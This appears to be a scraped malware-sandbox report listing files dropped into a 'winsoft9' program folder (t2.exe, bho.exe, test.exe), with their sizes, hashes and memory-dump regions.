e7a96ceedc4aa6c9ec590fbb89f8175143d90d78c76d1da051e421baf1d7892398de3084a3ac600a4c7910296c7e43d1dabfb6f7d2c25fe8c64824cd19e037f1

Download Submit
\??\c:\program files (x86)\winsoft9\t2.exe

Filesize
12.9MB

MD5
c59ad09f4eb12b46a7ba0a38227da51e

SHA1
06b7396f728ff236b8ef13d2416fef312e592939

SHA256
9b46fb443da0aab5aa10aa0e630b2a8b30cd7476f559c0ead337af9f25095316

SHA512
f6e3ad3230bd1beae8e30d17f1e7338a1a13cfb1c5eb3c79acdcaf1c1a3d20e7401f691e23df7e188b0ff6a0f81279bb5812893eab2493501cb232dee20ef145

Download Submit
\Program Files (x86)\winsoft9\bho.exe

Filesize
65KB

MD5
4ba9a7d68cf22eef4354e6695b14109c

SHA1
20b6adf9febd22fa74662bf8dfd5a4f5803eda38

SHA256
9e57af5d4f49661f342fc3e3f77db9b5d04cc861d1c102c44bfb663e9a167fee

SHA512
907c73851032ab3ac07ea33bcba794bfce3c429787e34e5e85724c9011abad6277b235613db6da8ecd47619327b2cff14af89792943f248282f7a5e386aa85ac

Download Submit
\Program Files (x86)\winsoft9\bho.exe

Filesize
65KB

MD5
4ba9a7d68cf22eef4354e6695b14109c

SHA1
20b6adf9febd22fa74662bf8dfd5a4f5803eda38

SHA256
9e57af5d4f49661f342fc3e3f77db9b5d04cc861d1c102c44bfb663e9a167fee

SHA512
907c73851032ab3ac07ea33bcba794bfce3c429787e34e5e85724c9011abad6277b235613db6da8ecd47619327b2cff14af89792943f248282f7a5e386aa85ac

Download Submit
\Program Files (x86)\winsoft9\t2.exe

Filesize
12.9MB

MD5
c59ad09f4eb12b46a7ba0a38227da51e

SHA1
06b7396f728ff236b8ef13d2416fef312e592939

SHA256
9b46fb443da0aab5aa10aa0e630b2a8b30cd7476f559c0ead337af9f25095316

SHA512
f6e3ad3230bd1beae8e30d17f1e7338a1a13cfb1c5eb3c79acdcaf1c1a3d20e7401f691e23df7e188b0ff6a0f81279bb5812893eab2493501cb232dee20ef145

Download Submit
\Program Files (x86)\winsoft9\t2.exe

Filesize
12.9MB

MD5
c59ad09f4eb12b46a7ba0a38227da51e

SHA1
06b7396f728ff236b8ef13d2416fef312e592939

SHA256
9b46fb443da0aab5aa10aa0e630b2a8b30cd7476f559c0ead337af9f25095316

SHA512
f6e3ad3230bd1beae8e30d17f1e7338a1a13cfb1c5eb3c79acdcaf1c1a3d20e7401f691e23df7e188b0ff6a0f81279bb5812893eab2493501cb232dee20ef145

Download Submit
\Program Files (x86)\winsoft9\test.exe

Filesize
12.9MB

MD5
715c3c7d943e785d326bf4d8940bfd2a

SHA1
519ba001798b16ad089f409c738d869c91202d8c

SHA256
b1d0c0813470896ca9d85c7e7604d10ae63c528f4d85f70a77e82233d659bfd7

SHA512
0901f98b09ed9136062c59fd5feed75b514dffa94bc272d1564ca574822e03b0fb9b7bab975858838443dfe3d243d4af92596789d0a2f0f52b52014207fddf90

Download Submit
\Program Files (x86)\winsoft9\test.exe

Filesize
12.9MB

MD5
715c3c7d943e785d326bf4d8940bfd2a

SHA1
519ba001798b16ad089f409c738d869c91202d8c

SHA256
b1d0c0813470896ca9d85c7e7604d10ae63c528f4d85f70a77e82233d659bfd7

SHA512
0901f98b09ed9136062c59fd5feed75b514dffa94bc272d1564ca574822e03b0fb9b7bab975858838443dfe3d243d4af92596789d0a2f0f52b52014207fddf90

Download Submit
memory/980-64-0x0000000000400000-0x0000000000421000-memory.dmp

Filesize
132KB

Download
memory/980-84-0x0000000004C70000-0x0000000005CD2000-memory.dmp

Filesize
16.4MB

Download
memory/980-79-0x0000000000400000-0x0000000000421000-memory.dmp

Filesize
132KB

Download
memory/1632-76-0x0000000002F90000-0x0000000002FB4000-memory.dmp

Filesize
144KB

Download
memory/1632-54-0x0000000075B41000-0x0000000075B43000-memory.dmp

Filesize
8KB

Download
memory/1632-60-0x0000000002F90000-0x0000000002FB1000-memory.dmp

Filesize
132KB

Download
memory/1632-59-0x0000000002F90000-0x0000000002FB1000-memory.dmp

Filesize
132KB

Download
memory/1720-75-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download